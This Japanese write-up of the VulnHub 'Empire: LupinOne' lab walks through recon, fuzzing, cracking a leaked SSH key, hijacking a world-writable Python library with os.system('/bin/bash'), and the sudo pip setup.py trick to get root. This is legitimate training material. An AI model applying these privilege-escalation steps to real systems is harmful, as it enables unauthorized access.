概要
VulnHub「Empire: LupinOne」のWriteupです。
User Flag
ターゲットマシンのIPアドレスを特定します。
$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning: You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-30 12:18 UTC
Nmap scan report for 192.168.178.20
Host is up (0.00047s latency).
Nmap scan report for 192.168.178.34
Host is up (0.00076s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.83 seconds
192.168.178.20
は、攻撃用Parrot OSのIPアドレスです。
192.168.178.34
が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 -p- 192.168.178.34 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
| 256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_ 256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/~myfiles
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.4p1 |
80 | http | Apache/2.4.48 |
80
番ポートにアクセスし、webアプリケーションを確認できました。
ディレクトリスキャンをすると、/robots.txt
を発見しました。
$dirsearch -u http://192.168.178.34
[12:21:35] 301 - 316B - /image -> http://192.168.178.34/image/
[12:21:36] 301 - 321B - /javascript -> http://192.168.178.34/javascript/
[12:21:38] 301 - 317B - /manual -> http://192.168.178.34/manual/
[12:21:38] 200 - 208B - /manual/index.html
[12:21:45] 200 - 34B - /robots.txt
/robots.txt
にアクセスすると、/~myfiles
を発見しました。
$curl http://192.168.178.34/robots.txt
User-agent: *
Disallow: /~myfiles
しかし、/~myfiles
にはアクセスできました。
$curl -L http://192.168.178.34/~myfiles
<!DOCTYPE html>
<html>
<head>
<title>Error 404</title>
</head>
<body>
<h1>Error 404</h1>
</body>
</html>
<!-- Your can do it, keep trying. -->
ファイルの命名規則を推測すると、~<ファイル名>
である可能性があります。
なので、ファイル名をファジングすると、/~secret
パスを発見しました。
$ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://192.168.178.34/~FUZZ -c -ic
secret [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 4ms]
/~secret
へアクセスすると、icex64
というユーザー名、SSH秘密鍵が/~secret
で共有されていること、/usr/share/wordlists/fasttrack.txt
でパスフレーズをクラック出来ることが分かりました。
SSH秘密鍵があるので、テキスト拡張子の隠しファイルをファジングすると、/~secret/.mysecret.txt
を発見しました。
$ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://192.168.178.34/~secret/.FUZZ -c -ic -mc 200 -e .txt
mysecret.txt [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 5ms]
/~secret/.mysecret.txt
にアクセスすると、文字列が表示されました。
/~secret/.mysecret.txt
をダウンロードします。
$wget http://192.168.178.34/~secret/.mysecret.txt
--2025-08-30 12:42:54-- http://192.168.178.34/~secret/.mysecret.txt
Connecting to 192.168.178.34:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4689 (4.6K) [text/plain]
Saving to: ‘.mysecret.txt’
.mysecret.txt 100%[===============================================================================>] 4.58K --.-KB/s in 0s
2025-08-30 12:42:54 (775 MB/s) - ‘.mysecret.txt’ saved [4689/4689]
エンコードされた文字列の様なのでデコードを試していると、Base58
でデコードでき、SSH秘密鍵を得られました。
ssh2john
、john the ripper
を利用してパスフレーズの解析に成功しました。
$ssh2john .id_rsa > ssh_hash
$john --wordlist=/usr/share/wordlists/fasttrack.txt ssh_hash
P@55w0rd! (.id_rsa)
得られた秘密鍵とパスフレーズでSSH接続に成功しました。
$ssh -i .id_rsa icex64@192.168.178.34
icex64@LupinOne:~$ whoami
icex64
ユーザーフラグを入手できました。
icex64@LupinOne:~$ cat user.txt
..., ,... ..,. .,, *&@@@@@@@@@@&/. ,,,. .,.. ..., ...,
,,,. .,,, *&@@%%%%%%%%%%%%%%%%%%%%%%%%%%%&@,. ..,, ,,,, ,,,.
..,. ,.., (@&#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%,. ..,, ,... ..
.... .@&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ .... .... ,...
.,#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ .,.. ,.,. ...,
.,,,&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@#@., .,., .,.. .,
...@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&@####@*. ..,, .... ,.
@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%#######@% .,., .,., .,.,
..,,@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@%#######@@, ..,. ,.., ..
.,,, @@@@@@@@&%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@%%%#####@@, .,,, ,,., .,
..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%###@@ .,.. ..., ....
..., .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%#&@. ..., ..., ..
.... #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%@. .... .... ..
.,.,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%#@*.,., .,., ..@@@@
..,. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%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.... .... ,.. ,..@@@&@#,.. .... ,.. ..., .... ..
.... .... ... ....@.,%&@.. .... ... .... .... ....
..., .... .... .*/,...&.,,, .... .... .,.. ..., ...,
.,., .,., ,,., .,../*,,&,, ,.,, ,.,, .., .,., .,., ,,
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
Root Flag
sudo -l
を確認すると、arsene
権限で/home/arsene/heist.py
を実行可能に設定されています。
icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
/home/arsene/heist.py
のソースコードを確認すると、webbrowser
パッケージをインポートし使用しています。
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")
/home/arsene/heist.py
を編集する権限が無いので、他の手法を探します。
icex64@LupinOne:~$ ls -la /home/arsene/heist.py
-rw-r--r-- 1 arsene arsene 118 Oct 4 2021 /home/arsene/heist.py
使用されているwebbrowser
パッケージファイルを探すと、/usr/lib/python3.9/webbrowser.py
にあることが分かります。
icex64@LupinOne:~$ find / -name webbrowser.py 2>/dev/null
/usr/lib/python3.9/webbrowser.py
パッケージファイルに書き込み権限があるので、これを編集し横展開を試みます。
icex64@LupinOne:~$ ls -la /usr/lib/python3.9/webbrowser.py
-rwxrwxrwx 1 root root 24087 Oct 4 2021 /usr/lib/python3.9/webbrowser.py
パッケージのソースコードにBashシェルを起動するコードを追記します。
#! /usr/bin/env python3
"""Interfaces for launching and remotely controlling Web browsers."""
# Maintained by Georg Brandl.
import os
import shlex
import shutil
import sys
import subprocess
import threading
os.system("/bin/bash") # 追記
__all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]
/home/arsene/heist.py
を実行すると、arsene
アカウントに展開出来ました。
icex64@LupinOne:~$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
arsene@LupinOne:/home/icex64$
sudo -l
を確認すると、/usr/bin/pip
が設定されています。
arsene@LupinOne:/home/icex64$ sudo -l
Matching Defaults entries for arsene on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User arsene may run the following commands on LupinOne:
(root) NOPASSWD: /usr/bin/pip
権限昇格のテクニックがGTFOBins
で見つかりました。
コマンドを実行し、root権限を取得できました。
arsene@LupinOne:/home/icex64$ TF=$(mktemp -d)
arsene@LupinOne:/home/icex64$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@LupinOne:/home/icex64$ sudo /usr/bin/pip install $TF
Processing /tmp/tmp.s7Ceu6RiqF
# whoami
root
/root/root.txt
からルートフラグを入手できました。
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
, .&&&&&&&&&( /&&&&&&&&&
, &&&&&&* @&&&&&&
, *&&&&& &&&&&&
, &&&&& &&&&&.
, &&&& ./#%@@&#, &&&&*
, &%&& &&&&&&&&&&&**,**/&&(&&&&&&&& &&&&
, &@(& &&&&&&&&&&&&&&&.....,&&*&&&&&&&&&& &&&&
, .& & &&&&&&&&&&&&&&& &&.&&&&&&&&&& &%&
, @& & &&&&&&&&&&&&&&& && &&&&&&&&&& @&&&
, &%(( &&&&&&&&&&&&&&& && &&&&&&&&&& #&&&
, &#/* &&&&&&&&&&&&&&& && #&&&&&&&&&( (&&&
, %@ & &&&&&&&&&&&&&&& && ,&&&&&&&&&& /*&/
, & & &&&&&&&&&&&&&&& &&* &&&&&&&&&& & &
, & & &&&&&&&&&&&&&&&, &&& &&&&&&&&&&( &,@
,.& # #&&&&&&&&&&&&&&( &&&.&&&&&&&&&&& & &
*& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &(&
*& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& & &
*& * &&&&&&&&&&&&&&&&&&&@. &&&&&&&& @ &
*& &&&&&&&&&&&&&&&&&&@ &&&&&/ &&&&&& & &
*% . &&&&&&&&&&&@&&&&&&& & &&( #&&&& &&&&. % &
*& * &&&&&&&&&& /* @%&%&&&&&&&& &&&&, @ &
*& & &&&&&&& & &&&&&&&&&& @&&& & &
*& & &&&&& / /&&&& &&& & @
*/(, && & / &.
* & & &&& # &&&&&& @ & &.
* .% & &&&%& & @&&&&&&&&&. %@&&* ( @,
/ & % .&&&& &@ @ &/ @ &
* & @ &&&&&& &&. , & &
* & & &&&&&&&&&& & &&&( & & &
, & % &&&&&&&&&&&&&&&( .&&&&&&& & & &
, & .. &&&&&&&&&&&&&&&&&&&&&&&&&&&&* & & & &
, #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &. % &
, & , &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&. &&&& @ &*
, & ,, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&. /&&&&&&&& & &@
, & & #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&@ &. &&
, && /# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&# &&&# &# #&
, && &( .&&&&&&&&&&&&&&&&&&&&&&&&&&& && &&
/ ,&&( &&% *&&&&&&&&&&% .&&& /&&,
, &&&&&/... .#&&&&#
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.